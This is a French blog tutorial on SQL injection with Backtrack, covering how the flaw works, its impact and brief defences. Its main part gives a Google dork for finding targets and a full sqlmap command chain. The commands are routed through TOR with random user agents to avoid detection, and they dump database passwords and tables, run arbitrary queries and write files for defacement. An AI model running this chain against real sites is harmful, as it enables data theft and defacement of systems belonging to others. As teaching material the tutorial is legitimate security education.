Backtrack – Injections SQL
Dans l’article consacré à l’exploitation de faille, j’ai évoqué l’exemple d’une attaque avec Metasploit sur un système d’exploitation.
Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage.
Voici le plan de cet article :
- Définition
- Exploitation
- Impact
- Se protéger
Bien entendu, cet article a pour vocation d’expliquer comment les hackers font, et comment se protéger des attaques de ce type.
- Définition
Une injection SQL est une méthode d’exploitation d’une faille de sécurité liée à une base de données. Elle consiste via une application utilisant une base de données SQL à injecter une requête qui permettrait d’obtenir beaucoup d’informations allant de la version du serveur jusqu’à la base de données complète. Nous allons voir dans la partie “Impact” ce qui est exploitable également.
Techniquement, une injection SQL via un site web consiste à exploiter une variable non protégée appelée via une URL.
Voici un bref exemple : “http://www.target.com/photos.php?id=1”
Cette URL affiche par défaut la page d’identifiant 1 par rapport à la base de données.
En fin de compte, cette URL pourrait ressembler à cette requête SQL :
SELECT * FROM photos WHERE 'id_photos = 1' ; |
Cette requête pourtant simple permet toutefois beaucoup de choses si le code PHP a été mal programmé. Nous y reviendrons plus tard.
- Exploitation
La meilleure explication est l’exemple.
Le hacker va tout d’abord chercher sa victime en fouillant le site Internet cible. Il pourra notamment s’aider de Google.
Par exemple, il va rechercher sur Google tous les “gallery.php” utilisant des ID :
inurl:gallery.php?id=
Dans la plupart des cas, les sites Web sont faits à l’aide de CMS, ou alors codés entièrement à la main. Mais il arrive que ces CMS ne soit pas à jour, ou alors que le développeur web n’est pas pris soin de protéger les variables utilisées par les URL.
Lorsque le hacker va tomber sur une page de ce style, il va remplacer le 1 par un -53 par exemple, de manière à provoquer une erreur.
Si le message suivant apparaît, vous pouvez être sûrs qu’une injection SQL est possible :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/users/site/html/gallery.php on line 248
En fait, j’irai même plus loin en disant que si http://www.target.com/photos.php?id=1 affiche la même chose que http://www.target.com/photos.php?id=1+AND+1=1 ou/et que http://www.target.com/photos.php?id=1+AND+1=2 diffère de la 1ère page, il y a vulnérabilité.
Avec la distribution Backtrack, voyons maintenant ce que l’on peut faire. L’excellent outil “SQLmap” nous permettra de réaliser tous les tests nécessaire pour une injection SQL.
Je vais vous montrer quelques commandes (je n’invente rien, j’ai juste lu la doc ).
Note : Dans toutes mes commandes, j’utilise TOR pour rester anonyme, ainsi qu’un générateur d’USER-AGENT pour que le serveur web distant ne détecte pas de requêtes HTTP provenant d’un certain “SQLmap”.
Pour exécuter ces commandes, il faut avant se rendre dans le répertoire /pentest/database/sqlmap. Il faut également remplacer quand c’est le cas dans mes commandes $url par l’URL du site, $db par le nom de la base de données, $table par le nom de la table, $column par le nom de la colonne et $sql par la requête SQL voulue.
Auditer si l’URL est vulnérable :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent
Si le site est vulnérable, il vous le dira explicitement.
C’est le cas pour notre exemple, passons à la suite.
Lister les privilèges SQL avec l’injection SQL :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –privileges
Lister les bases de données :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –dbs
Indiquer le nom de la base de données où l’injection SQL se fait :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –current-db
Montrer les mots de passe d’accès à la base de données :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –passwords
Lister les tables sur 5 threads (plus rapide) :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –tables -D $db –threads=”5″
Lister les colonnes :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –columns -D $bdd -T $tables
Dumper le contenu d’une table :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –dump -D $db -T $table –threads=”5″
Exécuter une requête SQL :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –sql-query=”$sql” -D $db
Si vraiment le serveur est mal configuré, il est aussi possible d’écrire un fichier (utilisé lors de defacements) :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –file-write=$file –file-dest /var/www/public_html/
SQLmap s’utilise aussi avec Metasploit :
$ msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## msf > use auxiliary/scanner/http/sqlmap msf auxiliary(sqlmap) > set RHOSTS [TARGET HOST RANGE] msf auxiliary(sqlmap) > run |
Vous l’aurez compris, cet outil est hyper puissant, d’ailleurs j’insiste sur le fait que pour obtenir de meilleurs résultats, il est important de le mettre à jour régulièrement avec l’option –update.
- Impact
Quel impact d’une telle attaque ?
La liste peut être longue, mais je vais faire court :
– compromission d’une partie ou d’une entière base de données, qui peut contenir des informations précieuses : logins, mots de passe, e-mails, coordonnées bancaires, etc.
– compromission d’autres bases de données quand un seul utilisateur existe pour 150 bases de données (sisi je vous jure, ça existe).
– compromission des données du serveur Web (on a vu qu’on pouvait dans certains cas écrire sur le serveur).
- Se protéger
Il existe à chaque niveau des moyens pour se protéger contre les injections SQL.
Je vais partir des couches basses pour remonter peu à peu :
– Installer un équipement de détection d’intrusion de type IDS et mettre régulièrement à jour la base de données qui contient les “exploits” connus.
– Installer un SGBDR connu, et le mettre à jour très régulièrement. Par exemple, MySQL est très performant, mais nécessite toutefois d’être mis-à-jour souvent.
– Utiliser au mieux toutes les fonctionnalités des bases de données : pour chaque site par exemple, créer sa base de données, son utilisateur SQL, avec un minimum de droits. Bien entendu, le concept d’un seul utilisateur avec tous les droits partout est à proscrire !!!
– Utiliser un serveur Web reconnu et le mettre à jour souvent. Apache est très bien reconnu dans le domaine.
– Enfin, il est plus qu’obligatoire de protéger toutes les variables utilisées.
Exemple : $id = mysql_real_escape_string($_POST[‘id’]);
Dans ce domaine, voici un lien très intéressant. Si vous n’y connaissez rien, utiliser un CMS bien reconnu, et mettez-le à jour dès que possible ! (WordPress par exemple)
En résumé : utiliser des outils connus et les mettre à jour régulièrement.
En conclusion, SQL est un langage surpuissant, qui demande beaucoup de connaissances. Négliger la sécurité dans les couches hautes, peut compromettre tout le reste. Imaginer le pire : intrusion sur un serveur web via injection SQL, accès à d’autres serveurs via une connexion de pont, dump de toutes les bases de données, defacement de sites web…
Aujourd’hui, les injections SQL sont les vulnérabilités les plus utilisées sur le Web.
A bon entendeur…